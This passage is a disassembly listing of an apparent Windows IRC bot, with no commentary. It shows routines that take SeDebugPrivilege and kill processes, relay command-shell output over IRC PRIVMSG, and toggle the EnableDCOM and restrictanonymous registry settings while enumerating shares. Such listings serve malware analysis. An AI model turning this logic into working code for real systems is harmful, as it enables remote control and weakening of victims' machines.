		test	eax, eax
		pop	ecx
		jz	short loc_4198C2


loc_41988F:				; CODE XREF: sub_4196BC+F5j
					; sub_4196BC+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4D0738
		test	eax, eax
		jnz	loc_419780
		xor	ebx, ebx


loc_4198A9:				; CODE XREF: sub_4196BC+9Dj
					; sub_4196BC+B3j
		push	[ebp+var_8]
		call	esi


loc_4198AE:				; CODE XREF: sub_4196BC+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx


loc_4198BB:				; CODE XREF: sub_4196BC+3Aj
					; sub_4196BC+46j ...
		xor	eax, eax


loc_4198BD:				; CODE XREF: sub_4196BC+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4198C2:				; CODE XREF: sub_4196BC+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		nop
		call	near ptr 2710A5Eh
		test	eax, eax
		jnz	short loc_4198E6
		push	edi
		call	esi
		jmp	short loc_4198BB
; ---------------------------------------------------------------------------


loc_4198E6:				; CODE XREF: sub_4196BC+223j
		push	1
		pop	eax
		jmp	short loc_4198BD
sub_4196BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EB	proc near		; DATA XREF: sub_401ACD+26CDo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_43F178
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h


loc_41994A:				; CODE XREF: sub_4198EB+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BC
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419972
		push	offset unk_43F154
		jmp	short loc_419977
; ---------------------------------------------------------------------------


loc_419972:				; CODE XREF: sub_4198EB+7Ej
		push	offset unk_43F130


loc_419977:				; CODE XREF: sub_4198EB+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h


loc_4199AA:				; CODE XREF: sub_4198EB+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AC
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
sub_4198EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199C9	proc near		; CODE XREF: sub_401ACD+78B3p
					; sub_40B231+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 2690307h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FB
		push	0
		push	esi
		nop
		call	near ptr 2710A5Eh
		test	eax, eax
		jnz	short loc_4199FB
		push	esi
		xor	edi, edi
		call	near ptr 267093Fh
		nop


loc_4199FB:				; CODE XREF: sub_4199C9+1Aj
					; sub_4199C9+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199C9	endp

; ---------------------------------------------------------------------------
dword_419A00	dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh,	35FF18C4h
					; DATA XREF: ___:004015EEo
		dd 43EF74h, 7408E890h, 0E3EB0226h

; =============== S U B	R O U T	I N E =======================================



sub_419A20	proc near		; CODE XREF: sub_419A50+2Ap
					; sub_419A88+7Ep ...
		mov	eax, dword_4E0AA8
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A34
		push	eax
		call	esi


loc_419A34:				; CODE XREF: sub_419A20+Fj
		mov	eax, dword_4E0AB0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A41
		push	eax
		call	esi


loc_419A41:				; CODE XREF: sub_419A20+1Cj
		mov	eax, dword_4E0AA4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4E
		push	eax
		call	esi


loc_419A4E:				; CODE XREF: sub_419A20+29j
		pop	esi
		retn
sub_419A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A50	proc near		; CODE XREF: sub_401ACD+7604p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4E0AAC
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_419A83
		call	sub_419A20
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419A83:				; CODE XREF: sub_419A50+28j
		push	1
		pop	eax
		leave
		retn
sub_419A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A88	proc near		; CODE XREF: sub_419B0F+D3p
					; sub_419B0F+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_4429D8
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACB
		push	7D0h
		nop
		call	near ptr 2680E26h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE2
; ---------------------------------------------------------------------------


loc_419ACB:				; CODE XREF: sub_419A88+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_419AE2:				; CODE XREF: sub_419A88+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D0874
		test	eax, eax
		jg	short loc_419B0B
		call	sub_419A20


loc_419B0B:				; CODE XREF: sub_419A88+7Cj
		xor	eax, eax
		leave
		retn
sub_419A88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B0F	proc near		; DATA XREF: sub_419C64+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4E0AB4


loc_419B27:				; CODE XREF: sub_419B0F+79j
					; sub_419B0F+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4E0AA8
		nop
		call	near ptr 2841ACBh
		test	eax, eax
		jz	loc_419BF5
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8A
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4E0AA4
		nop
		call	near ptr 2841547h
		test	eax, eax
		jz	short loc_419B80
		cmp	[ebp+var_8], 103h
		jnz	loc_419C19


loc_419B80:				; CODE XREF: sub_419B0F+62j
		push	0Ah
		call	near ptr 2680E26h
		nop
		jmp	short loc_419B27
; ---------------------------------------------------------------------------


loc_419B8A:				; CODE XREF: sub_419B0F+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA1


loc_419B91:				; CODE XREF: sub_419B0F+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BEF
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B91


loc_419BA1:				; CODE XREF: sub_419B0F+80j
		mov	[ebp+var_4], esi


loc_419BA4:				; CODE XREF: sub_419B0F+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4E0AA8
		nop
		call	near ptr 2710000h
		test	eax, eax
		jz	short loc_419C41
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4E0AE8
		call	sub_419A88
		add	esp, 0Ch
		jmp	loc_419B27
; ---------------------------------------------------------------------------


loc_419BEF:				; CODE XREF: sub_419B0F+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA4
; ---------------------------------------------------------------------------


loc_419BF5:				; CODE XREF: sub_419B0F+45j
		push	offset unk_43F200
		push	ebx
		push	dword_4E0AE8
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	1
		nop
		call	near ptr 26F0000h


loc_419C19:				; CODE XREF: sub_419B0F+6Bj
		call	sub_419A20
		push	offset unk_43F1D8
		push	ebx
		push	dword_4E0AE8
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	near ptr 26F0000h
		nop


loc_419C41:				; CODE XREF: sub_419B0F+C3j
		push	offset unk_43F1A8
		push	ebx
		push	dword_4E0AE8
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	near ptr 26F0000h
		nop
sub_419B0F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C64	proc near		; CODE XREF: sub_401ACD+2507p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A20
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_438E04
		push	esi
		call	dword_4D08E0
		test	eax, eax
		jz	loc_419D5E
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5E
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5E
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4E0AAC
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_419D5E
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_4429D8
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	near ptr 2670C5Bh
		nop
		test	eax, eax
		jnz	short loc_419D66


loc_419D5E:				; CODE XREF: sub_419C64+2Fj
					; sub_419C64+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E14
; ---------------------------------------------------------------------------


loc_419D66:				; CODE XREF: sub_419C64+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4E0AA8, eax
		mov	eax, [ebp+var_8]
		mov	dword_4E0AB0, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4E0AA4, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4E0AE8, eax
		jz	short loc_419DA0
		push	[ebp+arg_4]
		jmp	short loc_419DA1
; ---------------------------------------------------------------------------


loc_419DA0:				; CODE XREF: sub_419C64+135j
		push	ebx


loc_419DA1:				; CODE XREF: sub_419C64+13Aj
		push	offset dword_4E0AB4
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43F264
		call	sub_40B0F6
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_443768[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B0F
		push	esi
		push	esi
		nop
		call	near ptr 2690000h
		cmp	eax, esi
		mov	dword_443774[edi], eax
		jnz	short loc_419E12
		call	near ptr 2690A97h
		nop
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43F230
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_419E12:				; CODE XREF: sub_419C64+185j
		xor	eax, eax


loc_419E14:				; CODE XREF: sub_419C64+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E19	proc near		; DATA XREF: sub_401ACD+2E0Bo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E60
		call	sub_419E79
		jmp	short loc_419E65
; ---------------------------------------------------------------------------


loc_419E60:				; CODE XREF: sub_419E19+3Ej
		call	sub_41A19D


loc_419E65:				; CODE XREF: sub_419E19+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		push	0
		nop
		call	near ptr 26F0000h
sub_419E19	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E79	proc near		; CODE XREF: sub_419E19+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4D08F4, edi
		jnz	loc_419FAB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4D0894
		test	eax, eax
		jnz	short loc_419F04
		mov	ax, word_43DFEC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4D0848
		test	eax, eax
		jz	short loc_419EE6
		push	offset dword_43F500
		jmp	short loc_419EEB
; ---------------------------------------------------------------------------


loc_419EE6:				; CODE XREF: sub_419E79+64j
		push	offset dword_43F4E0


loc_419EEB:				; CODE XREF: sub_419E79+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4D0800
		jmp	short loc_419F17
; ---------------------------------------------------------------------------


loc_419F04:				; CODE XREF: sub_419E79+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43F4B0
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419F17:				; CODE XREF: sub_419E79+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F36
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_419F36:				; CODE XREF: sub_419E79+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4D0894
		test	eax, eax
		jnz	short loc_419FA4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4D0848
		test	eax, eax
		jz	short loc_419F86
		push	offset dword_43F460
		jmp	short loc_419F8B
; ---------------------------------------------------------------------------


loc_419F86:				; CODE XREF: sub_419E79+104j
		push	offset dword_43F42C


loc_419F8B:				; CODE XREF: sub_419E79+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4D0800
		jmp	short loc_419FBE
; ---------------------------------------------------------------------------


loc_419FA4:				; CODE XREF: sub_419E79+E2j
		push	offset dword_43F3F0
		jmp	short loc_419FB0
; ---------------------------------------------------------------------------


loc_419FAB:				; CODE XREF: sub_419E79+13j
		push	offset dword_43F3C0


loc_419FB0:				; CODE XREF: sub_419E79+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419FBE:				; CODE XREF: sub_419E79+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_419FDD:				; CODE XREF: sub_419E79+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		cmp	dword_4D091C, edi
		pop	ecx
		jnz	loc_41A158
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A000:				; CODE XREF: sub_419E79+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4D0768
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09D
		cmp	eax, 0EAh
		jz	short loc_41A09D
		mov	esi, offset off_43F288


loc_41A031:				; CODE XREF: sub_419E79+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6B
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A048
		push	offset dword_43F39C
		jmp	short loc_41A04D
; ---------------------------------------------------------------------------


loc_41A048:				; CODE XREF: sub_419E79+1C6j
		push	offset dword_43F370


loc_41A04D:				; CODE XREF: sub_419E79+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A080
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A080:				; CODE XREF: sub_419E79+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_43F2A8
		jb	short loc_41A031
		jmp	loc_41A135
; ---------------------------------------------------------------------------


loc_41A09D:				; CODE XREF: sub_419E79+1AAj
					; sub_419E79+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12C


loc_41A0AC:				; CODE XREF: sub_419E79+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A121
		push	edi
		call	sub_418B58
		push	eax
		push	0
		call	sub_418C6B
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DB
		push	offset dword_43F34C
		jmp	short loc_41A0E0
; ---------------------------------------------------------------------------


loc_41A0DB:				; CODE XREF: sub_419E79+259j
		push	offset dword_43F320


loc_41A0E0:				; CODE XREF: sub_419E79+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A114
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A114:				; CODE XREF: sub_419E79+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_41A121:				; CODE XREF: sub_419E79+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AC
		xor	edi, edi


loc_41A12C:				; CODE XREF: sub_419E79+22Dj
		push	[ebp+var_8]
		call	dword_4D08B4


loc_41A135:				; CODE XREF: sub_419E79+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A000
		lea	eax, [ebp+var_214]
		push	offset dword_43F2F8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16B
; ---------------------------------------------------------------------------


loc_41A158:				; CODE XREF: sub_419E79+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43F2C8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A16B:				; CODE XREF: sub_419E79+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A189
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A189:				; CODE XREF: sub_419E79+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19D	proc near		; CODE XREF: sub_419E19:loc_419E60p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4D08F4, ebx
		push	esi
		jnz	loc_41A2CB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4D0894
		test	eax, eax
		jnz	short loc_41A228
		mov	ax, word_43E030
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4D0848
		test	eax, eax
		jz	short loc_41A20A
		push	offset dword_43F678
		jmp	short loc_41A20F
; ---------------------------------------------------------------------------


loc_41A20A:				; CODE XREF: sub_41A19D+64j
		push	offset dword_43F65C


loc_41A20F:				; CODE XREF: sub_41A19D+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4D0800
		jmp	short loc_41A23B
; ---------------------------------------------------------------------------


loc_41A228:				; CODE XREF: sub_41A19D+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43F4B0
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A23B:				; CODE XREF: sub_41A19D+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A25A:				; CODE XREF: sub_41A19D+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4D0894
		test	eax, eax
		jnz	short loc_41A2C4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4D0848
		test	eax, eax
		jz	short loc_41A2A6
		push	offset dword_43F61C
		jmp	short loc_41A2AB
; ---------------------------------------------------------------------------


loc_41A2A6:				; CODE XREF: sub_41A19D+100j
		push	offset dword_43F5E4


loc_41A2AB:				; CODE XREF: sub_41A19D+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4D0800
		jmp	short loc_41A2DE
; ---------------------------------------------------------------------------


loc_41A2C4:				; CODE XREF: sub_41A19D+E2j
		push	offset dword_43F5A8
		jmp	short loc_41A2D0
; ---------------------------------------------------------------------------


loc_41A2CB:				; CODE XREF: sub_41A19D+13j
		push	offset dword_43F3C0


loc_41A2D0:				; CODE XREF: sub_41A19D+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A2DE:				; CODE XREF: sub_41A19D+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A2FD:				; CODE XREF: sub_41A19D+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		cmp	dword_4D091C, ebx
		pop	ecx
		jnz	loc_41A472
		push	edi
		mov	esi, offset off_43F288
		mov	edi, 200h


loc_41A321:				; CODE XREF: sub_41A19D+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BBF
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33C
		push	offset dword_43F588
		jmp	short loc_41A341
; ---------------------------------------------------------------------------


loc_41A33C:				; CODE XREF: sub_41A19D+196j
		push	offset dword_43F560


loc_41A341:				; CODE XREF: sub_41A19D+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A370
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A370:				; CODE XREF: sub_41A19D+1B7j
